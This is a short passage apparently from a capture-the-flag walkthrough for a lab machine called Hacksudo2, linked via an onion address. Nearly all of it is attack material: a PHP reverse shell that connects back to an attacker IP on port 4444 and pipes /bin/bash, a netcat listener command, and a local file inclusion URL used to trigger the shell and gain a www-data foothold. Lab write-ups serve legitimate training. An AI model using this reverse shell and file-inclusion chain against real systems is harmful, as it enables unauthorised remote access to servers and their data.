http://r2km7u25qebaefa7b6jdcjldymc2u337vzpx7ne773ypgs3qlq4xycqd.onion/index.php?page=Hacksudo2
php $sock=fsockopen("[MY_IP]",4444);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' > /tmp/nfs/shell.php Set up a netcat listener: $ nc -lvnp 4444 Triggered the shell via LFI: http://[TARGET_IP]/file.php?file=/mnt/nfs/shell.php This gave me an initial shell as the www-data user.